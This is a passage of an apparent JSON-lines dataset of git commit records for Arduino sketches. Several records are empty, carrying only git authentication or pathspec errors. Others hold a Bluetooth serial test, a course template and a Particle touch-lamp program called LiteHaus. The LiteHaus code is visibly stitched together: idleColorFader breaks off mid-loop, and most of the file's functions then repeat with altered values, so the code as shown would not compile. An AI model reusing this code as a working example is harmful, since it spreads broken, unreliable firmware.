tware,monstorium\/igvc-software,thaeds\/igvc-software,sgadgil6\/igvc-software,jgkamat\/igvc-software,nareddyt\/igvc-software,kscharm\/igvc-software,rortiz9\/igvc-software,jgkamat\/igvc-software,jondolan\/igvc-software,RoboJackets\/igvc-software,nareddyt\/igvc-software,rmkeezer\/igvc-software,zachcmathews\/igvc-software,jzheng84\/igvc-software,thomaswyatt01\/igvc-software,ytulsiani\/igvc-software,jzheng84\/igvc-software,monstorium\/igvc-software,ytulsiani\/igvc-software,DavidPurcell\/igvc-software,zachcmathews\/igvc-software,rqiu8\/igvc-software,seanrsain\/igvc-software,DavidPurcell\/igvc-software,RoboJackets\/igvc-software,nareddyt\/igvc-software,jgkamat\/igvc-software,vmurahari3\/igvc-software,jzheng84\/igvc-software,ytulsiani\/igvc-software,jondolan\/igvc-software,thaeds\/igvc-software,RoboJackets\/igvc-software,DavidPurcell\/igvc-software,prabhu-dev\/LineDetectorLengthFix,vmurahari3\/igvc-software,dpattison3\/igvc-software,sayakchatterjee\/igvc-software,sayakchatterjee\/igvc-software,sayakchatterjee\/igvc-software,zachcmathews\/igvc-software,sayakchatterjee\/igvc-software,rortiz9\/igvc-software,jondolan\/igvc-software,thaeds\/igvc-software,ytulsiani\/igvc-software,nareddyt\/igvc-software,thaeds\/igvc-software,rqiu8\/igvc-software,jgkamat\/igvc-software,zachcmathews\/igvc-software,dpattison3\/igvc-software,seanrsain\/igvc-software,prabhu-dev\/LineDetectorLengthFix,vmurahari3\/igvc-software,rmkeezer\/igvc-software,jondolan\/igvc-software","old_file":"arduino\/LightShield\/LightShield.ino","new_file":"arduino\/LightShield\/LightShield.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jondolan\/igvc-software.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5e2bda81a98deff53cf541c663fc184e46b3e9ad","subject":"RFduino implementation works correctly.","message":"RFduino implementation works correctly.\n","repos":"Ossit\/SenseBack","old_file":"RFduino\/SenseBack_RFduino\/SenseBack_RFduino.ino","new_file":"RFduino\/SenseBack_RFduino\/SenseBack_RFduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Ossit\/SenseBack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"812a68b5035ffc5a773ce9f71074e0820abc592e","subject":"fixed to match the top cover","message":"fixed to match the top cover\n\nagain, instead of 1023 -> 0, it changes the threshold value from 0 ->\n1023 so that it would match the top cover that we designed.\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Modifier Modules\/Threshold\/ThresholdATtiny\/ThresholdATtiny.ino","new_file":"Modifier Modules\/Threshold\/ThresholdATtiny\/ThresholdATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modifier' did not match any file(s) known to git\nerror: pathspec 'Modules\/Threshold\/ThresholdATtiny\/ThresholdATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f3b42cda5a3ceb74ed202a2964feff029c7a4289","subject":"Added Bluetooth Testing library.","message":"Added Bluetooth Testing library.\n","repos":"rrgarciach\/SCADAcar_Arduino_Sketch","old_file":"bluetoothTesting\/bluetoothTesting.ino","new_file":"bluetoothTesting\/bluetoothTesting.ino","new_contents":"#include <SoftwareSerial.h>\n\n\/\/ Here's a bluetooth device connect to pins 6 and 5\n SoftwareSerial bt(5,4);\n char btt = '0';\n char srl = '0';\n \n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"System Up: BLUETOOTH SLAVE\");\n bt.begin(9600);\n}\n\nvoid loop()\n{\n if (bt.available())\n {\n String command; \/\/string to store entire command line\n while (bt.available())\n {\n btt = bt.read();\n Serial.print(btt);\n delay(50);\n }\n }\n \n if (Serial.available())\n {\n String command; \/\/string to store entire command line\n while (Serial.available())\n {\n srl = Serial.read();\n Serial.print(srl);\n bt.write(srl);\n delay(50);\n command += srl; \/\/iterates char into string\n }\n if (command == \"mucho\") \/\/this compares catched string vs. expected command string\n {\n Serial.print(\"COMMAND!\");\n bt.print(\"COMMAND!\");\n }\n Serial.println(\"\");\n bt.println(\"\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bluetoothTesting\/bluetoothTesting.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"27791747b0d611620bbaa1bdf4fe2b052308ab03","subject":"Added basic code template.","message":"Added basic code template.\n","repos":"mike-matera\/cs-11m,mike-matera\/cs-11m","old_file":"Template\/Template.ino","new_file":"Template\/Template.ino","new_contents":"\/*\n * This is the CS-11M program template. Change this text to \n * be the title of the assignment and a short description \n * of what it does. \n * \n * Author: Michael Matera\n * Date: 8\/16\/2016\n * \n *\/\n\nvoid setup() {\n \n}\n\n\nvoid loop() {\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Template\/Template.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"b99f85ea461e7bca620cb015c1e79ae3904826ab","subject":"LiteHaus","message":"LiteHaus\n\nMain INO File","repos":"Blaze420McYoloSwag\/LiteHaus","old_file":"LiteHaus.ino","new_file":"LiteHaus.ino","new_contents":"#include \"application.h\"\n#include \"captouch.h\"\n#include \"neopixel\/neopixel.h\"\n\nSYSTEM_MODE(AUTOMATIC);\n\n\/\/PRODUCT_ID and PRODUCT_VERSION required for Particle's \"Products\" feature\nPRODUCT_ID(639);\nPRODUCT_VERSION(12);\n\nCapTouch Touch(D3, D4);\n\n#define PIXEL_COUNT 60\n#define PIXEL_PIN D2\n#define PIXEL_TYPE WS2812\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, PIXEL_TYPE);\n\n\/\/\/\/\n\/\/ User Variables\n\/\/\/\/\n\nuint32_t decayTime = 2835; \/\/ Start dimming light after elapsed seconds\nuint32_t decayDelay = 3; \/\/ Seconds between decay fade-out steps\nuint8_t nightHours[2] = {6, 21}; \/\/ Night mode starts at nightHours[1], ends at nightHours[0]\nuint8_t duskHours[2] = { 7, 19 }; \/\/ Dusk mode starts at duskHours[1], ends at duskHours[0]. Needs to be inside nightHours' times.\n \/\/ Day mode starts at duskHours[0], ends at duskHours[1]\nuint16_t maxDayBrightness = 180; \/\/ 0 - 255, lamp will not exceed this during the day\nuint16_t maxDuskBrightness = 70; \/\/ 0 - 255, lamp will not exceed this during dusk\nuint16_t maxNightBrightness = 30; \/\/ 0 - 255, lamp will not exceed this during the night\nfloat fadeRate = 0.95; \/\/ Fireworks Variable: 0.01-0.99, controls decay speed\n\n\/\/\/\/\n\/\/ End User Variables\n\/\/\/\/\n\ndouble lastColorUpdate = 0; \/\/ Epoch of last color update (local or remote)\nString colorFromID; \/\/ String, Tracks who sent the color (for debug)\nuint16_t colorRecieved; \/\/ 0 - 255, Tracks the color received from another lamp\nbool lampOn = 0; \/\/ Tracks if the lamp is lit\nuint8_t activeColor = 0; \/\/ 0 - 255, Tracks what color is currently active (start at red)\nuint8_t activeR = 255; \/\/ 0 - 255, Red component of activeColor;\nuint8_t activeG = 0; \/\/ 0 - 255, Green component of activeColor;\nuint8_t activeB = 0; \/\/ 0 - 255, Blue component of activeColor;\ndouble lastDecayDelay = 0; \/\/ Time Tracker for decayDelay\nuint16_t lampBrightness = 0; \/\/ 0 - 255, Tracks current lamp brightness\nuint16_t maxBrightness = maxDayBrightness; \/\/ Assigned the current max brightness\nuint8_t dayTrack = 0; \/\/ Track day\/dusk\/night condition\nuint8_t fadeColor = 0; \/\/ Track color for special events\nbyte activePixels = 0; \/\/ Tracks number of active pixels, 0 is first pixel\nfloat redStates[PIXEL_COUNT]; \/\/ Fireworks Variable\nfloat blueStates[PIXEL_COUNT]; \/\/ Fireworks Variable\nfloat greenStates[PIXEL_COUNT]; \/\/ Fireworks Variable\nuint8_t heartbeatDirector = 0; \/\/ Heartbeat Tracking\nuint8_t heartbeatColor = 0; \/\/ Heartbeat Tracking\nCapTouch::Event touchEvent;\n\nvoid setup() {\n strip.begin();\n strip.show();\n rainbowFull(5, 0); \/\/ 5ms Delay, 0 is fade in\n rainbowFull(5, 2); \/\/ 5ms Delay, 2 is fade out\n \n Touch.setup();\n \n Time.zone(-5);\n \/\/Listen for other lamps to send a particle.publish()\n Particle.subscribe(\"FamiLamp_Update\", gotColorUpdate, MY_DEVICES);\n}\n\nvoid loop() {\n dayTracking();\n touchEvent = Touch.getEvent();\n\n if (touchEvent == CapTouch::TouchEvent) {\n\t\twhileTouching();\n\t}\n if (Time.now() - lastColorUpdate > decayTime && lampOn == 1) {\n if (Time.now() - lastDecayDelay >= decayDelay) {\n extinguish();\n lastDecayDelay = Time.now();\n }\n }\n \n \/\/ Special idle functions\n if (lampOn == 0) {\n \/\/ Christmas Day\n if (Time.day() == 25 && Time.month() == 12) {\n idleColorFader(0,85);\n }\n \/\/ St. Patricks Day\n if (Time.day() == 17 && Time.month() == 3) {\n idleColorFlicker(21);\n }\n \/\/ Valentines Day\n if (Time.day() == 14 && Time.month() == 2) {\n idleColorFlicker(106);\n }\n \/\/ 4th of July\n if ( Time.day() == 4 && Time.month() == 7 ) {\n idleFireworks(0);\n }\n \/\/ New Years Day\n if ( Time.day() == 1 && Time.month() == 1 ) {\n idleFireworks(1);\n }\n \/\/ Birthdays\n if (\n (Time.day() == 22 && Time.month() == 2)\n ) {\n idleDisco();\n }\n \/\/ Clear any previous day's special idles\n if (lampBrightness != 0 && Time.hour() == 0 && Time.minute() == 0 && Time.second() <= 3) {\n for (uint16_t i = 0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, 0, 0, 0);\n }\n strip.show();\n lampBrightness = 0;\n }\n }\n}\n\nvoid whileTouching() {\n byte previousBrightness = lampBrightness; \/\/ Store the previous brightness in case we need it later\n uint16_t pixelBrightness = lampBrightness; \/\/ Tracks the given pixel's brightness. Needs to track > 255, so uint16_t\n\tuint8_t testColor = activeColor; \/\/ Start with the current color\n activePixels = 0;\n while (touchEvent != CapTouch::ReleaseEvent) {\n for (byte i = 0; i <= activePixels; i++) {\n pixelBrightness = lampBrightness + i; \/\/Fade to full brightness\n\t\t\tif (pixelBrightness > maxBrightness) pixelBrightness = maxBrightness; \/\/catch overflow\n \/\/ \"activePixels - i\" reverses the direction\n strip.setPixelColor(activePixels - i, wheelColor(((i * 60 \/ strip.numPixels()) + testColor) & 255, pixelBrightness)); \/\/ \"& 255\" AKA bitwise and prevents overflow\n\t }\n strip.show();\n testColor++; \/\/because testColor is uint8_t, automatically loops at 256\n if(activePixels < (strip.numPixels() - 1)) activePixels++; \/\/Add 1 for next iteration, but prevent looping around\n if(lampBrightness < maxBrightness) lampBrightness++;\n touchEvent = Touch.getEvent();\n delay(3);\n }\n\tif (activePixels >= (strip.numPixels() - 10)) {\n\t lampOn = 1;\n\t\tactiveColor = testColor;\n\t\tsendColorUpdate();\n\t\tlastColorUpdate = Time.now();\n\t} else {\n\t lampBrightness = previousBrightness;\n\t setColor(activeColor);\n\t}\n}\n\nvoid sendColorUpdate() {\n String sColor = String(activeColor);\n Particle.publish(\"FamiLamp_Update\", System.deviceID() + \"~\" + sColor, 60, PRIVATE);\n}\n\nvoid gotColorUpdate(const char *name, const char *data) {\n\n String str = String(data);\n char strBuffer[40] = \"\";\n str.toCharArray(strBuffer, 40);\n colorFromID = strtok(strBuffer, \"~\");\n colorRecieved = atof(strtok(NULL, \"~\"));\n lampBrightness = maxBrightness;\n setColor(colorRecieved);\n \/\/ DEBUG\n String sColorRecieved = String(colorRecieved);\n Particle.publish(\"Color_Recieved\", System.deviceID() + \"~\" + sColorRecieved);\n \/\/ END DEBUG\n\tlampOn = 1;\n\tlastColorUpdate = Time.now();\n}\n\nvoid setColor(byte c) { \/\/ c is color. This function does a smooth fade new color\n if (((Time.month() * Time.day()) % 256) == c) { \/\/ Semi-random formula to trigger easter egg\n rainbowEasterEgg();\n } else {\n uint8_t newR, newG, newB, startR, startG, startB, endR, endG, endB;\n uint32_t color = wheelColor(c, lampBrightness);\n endR = (uint8_t)((color >> 16) & 0xff); \/\/ Splits out new color into separate R, G, B\n endG = (uint8_t)((color >> 8) & 0xff);\n endB = (uint8_t)(color & 0xff);\n for (uint16_t fade = 0; fade < 255; fade++) {\n for (uint16_t j = 0; j < strip.numPixels(); j++) {\n long startRGB = strip.getPixelColor(j); \/\/ Get pixel's current color\n startR = (uint8_t)((startRGB >> 16) & 0xff); \/\/ Splits out current color into separate R, G, B\n startG = (uint8_t)((startRGB >> 8) & 0xff);\n startB = (uint8_t)(startRGB & 0xff);\n newR = startR + (endR - startR) * fade \/ 255; \/\/ Color mixer\n newG = startG + (endG - startG) * fade \/ 255;\n newB = startB + (endB - startB) * fade \/ 255;\n strip.setPixelColor(j, newR, newG, newB);\n }\n strip.show();\n delay(10);\n }\n }\n activeColor = c;\n}\n\nvoid extinguish() { \/\/Dims the lamp by one unit until lampBrightness is 0 and lampOn is 0\n lampBrightness--;\n uint32_t color = wheelColor(activeColor, lampBrightness);\n for (byte j = 0; j <= strip.numPixels(); j++) {\n\t\tstrip.setPixelColor(j, color);\n }\n strip.show();\n if (lampBrightness <= 0) {\n lampOn = 0; \/\/If the lamp is completely off, set lampOn to 0\n lampBrightness = 0; \/\/ Make sure this number isn't negative somehow\n }\n}\n\nuint32_t wheelColor(uint16_t WheelPos, uint16_t iBrightness) {\n\tfloat R, G, B;\n\tfloat brightness = iBrightness \/ 255.0;\n\n\tif (WheelPos < 85) {\n\t\tR = WheelPos * 3;\n\t\tG = 255 - WheelPos * 3;\n\t\tB = 0;\n\t} else if (WheelPos < 170) {\n\t\tWheelPos -= 85;\n\t\tR = 255 - WheelPos * 3;\n\t\tG = 0;\n\t\tB = WheelPos * 3;\n\t} else {\n\t\tWheelPos -= 170;\n\t\tR = 0;\n\t\tG = WheelPos * 3;\n\t\tB = 255 - WheelPos * 3;\n\t}\n\tactiveR = R * brightness;\/\/ + .5;\n\tactiveG = G * brightness;\/\/ + .5;\n\tactiveB = B * brightness;\/\/ + .5;\n\treturn strip.Color((byte) activeR,(byte) activeG,(byte) activeB);\n}\n\nvoid rainbowFull(byte wait, byte fade) {\n uint16_t i, j, k;\n if(fade == 0) k = 0;\n else k = maxBrightness;\n\n for(j = 0; j <= 255; j++) {\n for(i = 0; i < strip.numPixels(); i++) {\n strip.setPixelColor((strip.numPixels() - 1) - i, wheelColor(((i * 60 \/ strip.numPixels()) + j) & 255, k));\n }\n strip.show();\n delay(wait);\n if(fade == 0 && k < maxBrightness) {\n k++;\n }\n if(fade == 2 && k > 0) {\n k--;\n }\n }\n}\n\nvoid rainbowEasterEgg() {\n for(uint8_t i = 0; i <= strip.numPixels(); i++) {\n strip.setPixelColor(i, wheelColor((i * 256 \/ strip.numPixels()) & 255, lampBrightness));\n }\n strip.show();\n}\n\nvoid dayTracking() {\n if (Time.hour() < nightHours[0] || Time.hour() >= nightHours[1]) { \/\/ Night hours\n if (dayTrack != 2) {\n maxBrightness = maxNightBrightness;\n if (lampBrightness > maxBrightness) lampBrightness = maxBrightness;\n setColor(activeColor);\n dayTrack = 2;\n }\n } else if (Time.hour() < duskHours[0] || Time.hour() >= duskHours[1]) { \/\/ Dusk hours\n if (dayTrack != 1) {\n maxBrightness = maxDuskBrightness;\n if (lampBrightness > maxBrightness) lampBrightness = maxBrightness;\n setColor(activeColor);\n dayTrack = 1;\n }\n } else { \/\/ Everything else is day\n if (dayTrack != 0) {\n maxBrightness = maxDayBrightness;\n if (lampBrightness > maxBrightness) lampBrightness = maxBrightness;\n setColor(activeColor);\n dayTrack = 0;\n }\n }\n}\n\nvoid idleColorFader(uint8_t c1, uint8_t c2) {\n lampBrightness = 100;\n uint16_t currR, currG, currB, endR, endG, endB;\n uint32_t color = wheelColor(fadeColor, lampBrightness);\n endR = (uint16_t)((color >> 16) & 0xff); \/\/ Splits out new color into separate R, G, B\n endG = (uint16_t)((color >> 8) & 0xff);\n endB = (uint16_t)(color & 0xff);\n for (uint16_t j = 0; j < activePixels; j++) {\n long startRGB = strip.getPixelColor(j); \/\/ Get pixel's current color\n currR = (uint16_t)((startRGB >> 16) & 0xff); \/\/ Splits out current color into separate R, G, B\n currG = (uint16_t)((startRGB >> 8) & 0xff);\n currB = (uint16_t)(startRGB & 0xff);\n if ( currR > endR ) {\n currR = currR - 10;\n } else if ( currR < endR ) {\n currR = currR + 10;\n } else {\n currR = endR;\n }\n if ( currG > endG ) {\n currG = currG - 10;\n } else if ( currG < endG ) {\n currG = currG + 10;\n } else {\n currG = endG;\n }\n if ( currB > endB ) {\n currB = currB - 10;\n } else if ( currB < endB ) {\n currB = currB + 10;\n } else {\n currB = endB;\n }\n \n \/\/Catch overflows\n currR %= 255;\n currG %= 255;\n currB %= 255;\n\n strip.setPixelColor(j, currR, currG, currB);\nvoid whileTouching() {\n byte previousBrightness = lampBrightness; \/\/ Store the previous brightness in case we need it later\n uint16_t pixelBrightness = lampBrightness; \/\/ Tracks the given pixel's brightness. Needs to track > 255, so uint16_t\n\tuint8_t testColor = activeColor; \/\/ Start with the current color\n activePixels = 0;\n while (touchEvent != CapTouch::ReleaseEvent) {\n for (byte i = 0; i <= activePixels; i++) {\n pixelBrightness = lampBrightness + i; \/\/Fade to full brightness\n\t\t\tif (pixelBrightness > maxBrightness) pixelBrightness = maxBrightness; \/\/catch overflow\n \/\/ \"activePixels - i\" reverses the direction\n strip.setPixelColor(activePixels - i, wheelColor(((i * 60 \/ strip.numPixels()) + testColor) & 255, pixelBrightness)); \/\/ \"& 255\" AKA bitwise and prevents overflow\n\t }\n strip.show();\n testColor++; \/\/because testColor is uint8_t, automatically loops at 256\n if(activePixels < (strip.numPixels() - 1)) activePixels++; \/\/Add 1 for next iteration, but prevent looping around\n if(lampBrightness < maxBrightness) lampBrightness++;\n touchEvent = Touch.getEvent();\n delay(3);\n }\n\tif (activePixels >= (strip.numPixels() - 10)) {\n\t lampOn = 1;\n\t\tactiveColor = testColor;\n\t\tsendColorUpdate();\n\t\tlastColorUpdate = Time.now();\n\t} else {\n\t lampBrightness = previousBrightness;\n\t setColor(activeColor);\n\t}\n}\n\nvoid sendColorUpdate() {\n String sColor = String(activeColor);\n Particle.publish(\"FamiLamp_Update\", System.deviceID() + \"~\" + sColor, 60, PRIVATE);\n}\n\nvoid gotColorUpdate(const char *name, const char *data) {\n\n String str = String(data);\n char strBuffer[40] = \"\";\n str.toCharArray(strBuffer, 40);\n colorFromID = strtok(strBuffer, \"~\");\n colorRecieved = atof(strtok(NULL, \"~\"));\n lampBrightness = maxBrightness;\n setColor(colorRecieved);\n \/\/ DEBUG\n String sColorRecieved = String(colorRecieved);\n Particle.publish(\"Color_Recieved\", System.deviceID() + \"~\" + sColorRecieved);\n \/\/ END DEBUG\n\tlampOn = 1;\n\tlastColorUpdate = Time.now();\n}\n\nvoid setColor(byte c) { \/\/ c is color. This function does a smooth fade new color\n if (((Time.month() * Time.day()) % 256) == c) { \/\/ Semi-random formula to trigger easter egg\n rainbowEasterEgg();\n } else {\n uint8_t newR, newG, newB, startR, startG, startB, endR, endG, endB;\n uint32_t color = wheelColor(c, lampBrightness);\n endR = (uint8_t)((color >> 16) & 0xff); \/\/ Splits out new color into separate R, G, B\n endG = (uint8_t)((color >> 8) & 0xff);\n endB = (uint8_t)(color & 0xff);\n for (uint16_t fade = 0; fade < 255; fade++) {\n for (uint16_t j = 0; j < strip.numPixels(); j++) {\n long startRGB = strip.getPixelColor(j); \/\/ Get pixel's current color\n startR = (uint8_t)((startRGB >> 16) & 0xff); \/\/ Splits out current color into separate R, G, B\n startG = (uint8_t)((startRGB >> 8) & 0xff);\n startB = (uint8_t)(startRGB & 0xff);\n newR = startR + (endR - startR) * fade \/ 255; \/\/ Color mixer\n newG = startG + (endG - startG) * fade \/ 255;\n newB = startB + (endB - startB) * fade \/ 255;\n strip.setPixelColor(j, newR, newG, newB);\n }\n strip.show();\n delay(10);\n }\n }\n activeColor = c;\n}\n\nvoid extinguish() { \/\/Dims the lamp by one unit until lampBrightness is 0 and lampOn is 0\n lampBrightness--;\n uint32_t color = wheelColor(activeColor, lampBrightness);\n for (byte j = 0; j <= strip.numPixels(); j++) {\n\t\tstrip.setPixelColor(j, color);\n }\n strip.show();\n if (lampBrightness <= 0) {\n lampOn = 0; \/\/If the lamp is completely off, set lampOn to 0\n lampBrightness = 0; \/\/ Make sure this number isn't negative somehow\n }\n}\n\nuint32_t wheelColor(uint16_t WheelPos, uint16_t iBrightness) {\n\tfloat R, G, B;\n\tfloat brightness = iBrightness \/ 255.0;\n\n\tif (WheelPos < 85) {\n\t\tR = WheelPos * 3;\n\t\tG = 255 - WheelPos * 3;\n\t\tB = 0;\n\t} else if (WheelPos < 170) {\n\t\tWheelPos -= 85;\n\t\tR = 255 - WheelPos * 3;\n\t\tG = 0;\n\t\tB = WheelPos * 3;\n\t} else {\n\t\tWheelPos -= 170;\n\t\tR = 0;\n\t\tG = WheelPos * 3;\n\t\tB = 255 - WheelPos * 3;\n\t}\n\tactiveR = R * brightness;\/\/ + .5;\n\tactiveG = G * brightness;\/\/ + .5;\n\tactiveB = B * brightness;\/\/ + .5;\n\treturn strip.Color((byte) activeR,(byte) activeG,(byte) activeB);\n}\n\nvoid rainbowFull(byte wait, byte fade) {\n uint16_t i, j, k;\n if(fade == 0) k = 0;\n else k = maxBrightness;\n\n for(j = 0; j <= 255; j++) {\n for(i = 0; i < strip.numPixels(); i++) {\n strip.setPixelColor((strip.numPixels() - 1) - i, wheelColor(((i * 60 \/ strip.numPixels()) + j) & 255, k));\n }\n strip.show();\n delay(wait);\n if(fade == 0 && k < maxBrightness) {\n k++;\n }\n if(fade == 2 && k > 0) {\n k--;\n }\n }\n}\n\nvoid rainbowEasterEgg() {\n for(uint8_t i = 0; i <= strip.numPixels(); i++) {\n strip.setPixelColor(i, wheelColor((i * 256 \/ strip.numPixels()) & 255, lampBrightness));\n }\n strip.show();\n}\n\nvoid dayTracking() {\n if (Time.hour() < nightHours[0] || Time.hour() >= nightHours[1]) { \/\/ Night hours\n if (dayTrack != 2) {\n maxBrightness = maxNightBrightness;\n if (lampBrightness > maxBrightness) lampBrightness = maxBrightness;\n setColor(activeColor);\n dayTrack = 2;\n }\n } else if (Time.hour() < duskHours[0] || Time.hour() >= duskHours[1]) { \/\/ Dusk hours\n if (dayTrack != 1) {\n maxBrightness = maxDuskBrightness;\n if (lampBrightness > maxBrightness) lampBrightness = maxBrightness;\n setColor(activeColor);\n dayTrack = 1;\n }\n } else { \/\/ Everything else is day\n if (dayTrack != 0) {\n maxBrightness = maxDayBrightness;\n if (lampBrightness > maxBrightness) lampBrightness = maxBrightness;\n setColor(activeColor);\n dayTrack = 0;\n }\n }\n}\n\nvoid idleColorFader(uint8_t c1, uint8_t c2) {\n lampBrightness = 40;\n uint16_t currR, currG, currB, endR, endG, endB;\n uint32_t color = wheelColor(fadeColor, lampBrightness);\n endR = (uint16_t)((color >> 16) & 0xff); \/\/ Splits out new color into separate R, G, B\n endG = (uint16_t)((color >> 8) & 0xff);\n endB = (uint16_t)(color & 0xff);\n for (uint16_t j = 0; j < activePixels; j++) {\n long startRGB = strip.getPixelColor(j); \/\/ Get pixel's current color\n currR = (uint16_t)((startRGB >> 16) & 0xff); \/\/ Splits out current color into separate R, G, B\n currG = (uint16_t)((startRGB >> 8) & 0xff);\n currB = (uint16_t)(startRGB & 0xff);\n if ( currR > endR ) {\n currR = currR - 1;\n } else if ( currR < endR ) {\n currR = currR + 1;\n } else {\n currR = endR;\n }\n if ( currG > endG ) {\n currG = currG - 1;\n } else if ( currG < endG ) {\n currG = currG + 1;\n } else {\n currG = endG;\n }\n if ( currB > endB ) {\n currB = currB - 1;\n } else if ( currB < endB ) {\n currB = currB + 1;\n } else {\n currB = endB;\n }\n \n \/\/Catch overflows\n currR %= 255;\n currG %= 255;\n currB %= 255;\n\n strip.setPixelColor(j, currR, currG, currB);\n if ( j >= strip.numPixels() - 1 && endR == currR && endG == currG && endB == currB) {\n if ( fadeColor == c1 ) {\n fadeColor = c2;\n } else {\n fadeColor = c1;\n }\n activePixels = 0;\n }\n }\n strip.show();\n if ( activePixels < strip.numPixels() ) activePixels++;\n delay(20);\n}\n\nvoid idleFireworks(uint8_t w) {\n \/\/ w = 0 for mulitcolor, w = 1 for all white flashes\n lampBrightness = 40;\n if (random(20) == 1) {\n uint16_t i = random(strip.numPixels());\n if (redStates[i] < 1 && greenStates[i] < 1 && blueStates[i] < 1) {\n if (w == 0){\n redStates[i] = random(lampBrightness);\n greenStates[i] = random(lampBrightness);\n blueStates[i] = random(lampBrightness);\n } else {\n redStates[i] = lampBrightness;\n greenStates[i] = lampBrightness;\n blueStates[i] = lampBrightness;\n }\n }\n }\n for(uint16_t l = 0; l < strip.numPixels(); l++) {\n if (redStates[l] > 1 || greenStates[l] > 1 || blueStates[l] > 1) {\n strip.setPixelColor(l, redStates[l], greenStates[l], blueStates[l]);\n if (redStates[l] > 1) {\n redStates[l] = redStates[l] * fadeRate;\n } else {\n redStates[l] = 0;\n }\n \n if (greenStates[l] > 1) {\n greenStates[l] = greenStates[l] * fadeRate;\n } else {\n greenStates[l] = 0;\n }\n \n if (blueStates[l] > 1) {\n blueStates[l] = blueStates[l] * fadeRate;\n } else {\n blueStates[l] = 0;\n }\n \n } else {\n strip.setPixelColor(l, 0, 0, 0);\n }\n }\n strip.show();\n}\nvoid idleDisco() {\n lampBrightness = 20;\n for(int i=0; i<strip.numPixels(); i++) {\n int randr = random(0,lampBrightness);\n int randg = random(0,lampBrightness); \n int randb = random(0,lampBrightness);\n int randi = random(0,(strip.numPixels() - 1));\n strip.setPixelColor(randi, randr, randg, randb);\n strip.show();\n delay(5);\n }\n}\nvoid idleColorFlicker(uint8_t c) {\n lampBrightness = 20;\n uint32_t color = wheelColor(c, lampBrightness);\n \n for(uint8_t i=0; i<strip.numPixels(); i++) {\n uint8_t flicker = random(0,10);\n int flickerR = (uint16_t)((color >> 16) & 0xff) - flicker; \/\/ Splits out new color into separate R, G, B\n int flickerG = (uint16_t)((color >> 8) & 0xff) - flicker;\n int flickerB = (uint16_t)(color & 0xff) - flicker;\n if(flickerR<0) flickerR=0;\n if(flickerG<0) flickerG=0;\n if(flickerB<0) flickerB=0;\n strip.setPixelColor(i, flickerR, flickerG, flickerB);\n }\n strip.show();\n delay(30);\n}\nvoid idleHeartbeat() {\n lampBrightness = 20;\n uint8_t endColor = 0;\n \n if( heartbeatDirector == 0 ) {\n endColor = lampBrightness * 0.6;\n }else if( heartbeatDirector == 1 ) {\n endColor = lampBrightness * 0.2;\n }else if( heartbeatDirector == 2 ) {\n endColor = lampBrightness;\n }else if( heartbeatDirector == 3 ) {\n endColor = lampBrightness * 0.12;\n } else {\n \/\/do nothing, this will delay\n }\n\n if( heartbeatColor < endColor ) {\n for(int j=heartbeatColor; j<endColor; j+=4) {\n for(int i=25; i<35; i++) {\n strip.setPixelColor(i, j, 0, 0);\n \n }\n strip.show();\n delay(15);\n }\n } else if ( heartbeatColor > endColor ) {\n for(int j=heartbeatColor; j>endColor; j--) {\n for(int i=25; i<35; i++) {\n strip.setPixelColor(i, j, 0, 0);\n \n }\n strip.show();\n delay(30);\n }\n } else {\n delay(15);\n delay(15);\n delay(15);\n delay(15);\n delay(15);\n delay(15);\n delay(15);\n }\n \n heartbeatColor = endColor;\n \n heartbeatDirector++;\n heartbeatDirector%=4;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LiteHaus.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8ee9e0892941ae26acb5a972dfd0a9477cb8d5c5","subject":"Drive a 4x7segment with a 74HC164 Ser-to-Par","message":"Drive a 4x7segment with a 74HC164 Ser-to-Par\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"_4x7segment\/_4x7segment.ino","new_file":"_4x7segment\/_4x7segment.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2baf5774374d3851dd4982f9b739dfb60ccd3abf","subject":"Added WebClientRepeating example","message":"Added WebClientRepeating 